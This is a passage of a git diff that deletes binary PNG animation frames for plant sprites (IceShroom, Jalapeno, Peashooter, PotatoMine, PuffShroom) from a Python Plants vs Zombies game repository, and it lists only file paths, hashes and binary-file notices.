Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_10.png deleted file mode 100644 index 5e9d71c027f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_2.png deleted file mode 100644 index 98e43055d84..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_3.png deleted file mode 100644 index 37122a8940e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_4.png deleted file mode 100644 index 42cb3e3834e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_5.png deleted file mode 100644 index 21550593d45..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_6.png deleted file mode 100644 index 4369cac07cf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_7.png deleted file mode 100644 index b1d45088e86..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_8.png deleted file mode 100644 index b1d45088e86..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_9.png deleted file mode 100644 index 5e9d71c027f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroom/IceShroom_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_0.png deleted file mode 100644 index 1b40432ef82..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_1.png deleted file mode 100644 index 04becb5f99a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_10.png deleted file mode 100644 index 278d0765804..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_11.png deleted file mode 100644 index 85b76fcd34d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_2.png deleted file mode 100644 index 7c8d140bbf2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_3.png deleted file mode 100644 index c0411dbcfa8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_4.png deleted file mode 100644 index 577e092da25..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_5.png deleted file mode 100644 index 1af9abd2f34..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_6.png deleted file mode 100644 index a205a008e9b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_7.png deleted file mode 100644 index 5cd83816987..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_8.png deleted file mode 100644 index b774f405c2f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_9.png deleted file mode 100644 index 616f45c17ff..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSleep/IceShroomSleep_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSnow/IceShroomSnow_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSnow/IceShroomSnow_0.png deleted file mode 100644 index 1706ff18034..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomSnow/IceShroomSnow_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomTrap/IceShroomTrap_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomTrap/IceShroomTrap_0.png deleted file mode 100644 index c7ccfa7b22b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/IceShroom/IceShroomTrap/IceShroomTrap_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_0.png deleted file mode 100644 index 1ca68e10cec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_1.png deleted file mode 100644 index 7d3ff8f2928..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_2.png deleted file mode 100644 index 7bab3fd31a1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_3.png deleted file mode 100644 index 1ec8d1379c1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_4.png deleted file mode 100644 index 9da902bfefc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_5.png deleted file mode 100644 index 6569ebd02ab..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_6.png deleted file mode 100644 index 92825b90d3a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_7.png deleted file mode 100644 index 1c97550711a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/Jalapeno/Jalapeno_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_0.png deleted file mode 100644 index 519f6aa97de..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_1.png deleted file mode 100644 index 31388a2af84..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_2.png deleted file mode 100644 index 6c94c57e0e3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_3.png deleted file mode 100644 index c34e9fd828e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_4.png deleted file mode 100644 index 20d21af8f31..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_5.png deleted file mode 100644 index 10308a3cf9f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_6.png deleted file mode 100644 index ee8a4ebac72..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_7.png deleted file mode 100644 index 45701edd3c8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Jalapeno/JalapenoExplode/JalapenoExplode_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_0.png deleted file mode 100644 index 4e6c221f6c1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_1.png deleted file mode 100644 index 3eb1e3b29f6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_10.png deleted file mode 100644 index 76d660022e9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_11.png deleted file mode 100644 index 12ed0e30bcf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_12.png deleted file mode 100644 index 31ed7395356..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_2.png deleted file mode 100644 index 1e4d802a30c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_3.png deleted file mode 100644 index ca8e12c589c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_4.png deleted file mode 100644 index 48189b7e715..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_5.png deleted file mode 100644 index 8a8d9ca9293..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_6.png deleted file mode 100644 index 4a856517f76..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_7.png deleted file mode 100644 index d5e13bfb10c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_8.png deleted file mode 100644 index 01ca538456f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_9.png deleted file mode 100644 index 823e5539c7e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Peashooter/Peashooter_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_0.png deleted file mode 100644 index 96efb6eef8a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_1.png deleted file mode 100644 index b8c37ee6073..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_2.png deleted file mode 100644 index 9e741e36608..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_3.png deleted file mode 100644 index be35b0b1765..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_4.png deleted file mode 100644 index 23e4eff2354..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_5.png deleted file mode 100644 index b8c37ee6073..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_6.png deleted file mode 100644 index 9e741e36608..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_7.png deleted file mode 100644 index be35b0b1765..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMine/PotatoMine_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineExplode/PotatoMineExplode_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineExplode/PotatoMineExplode_0.png deleted file mode 100644 index f12ca5ff8be..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineExplode/PotatoMineExplode_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineInit/PotatoMineInit_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineInit/PotatoMineInit_0.png deleted file mode 100644 index 72c1fcaf7ba..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PotatoMine/PotatoMineInit/PotatoMineInit_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_0.png deleted file mode 100644 index a15e8fa4bf9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_1.png deleted file mode 100644 index 69b3d33fb23..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_1.png and 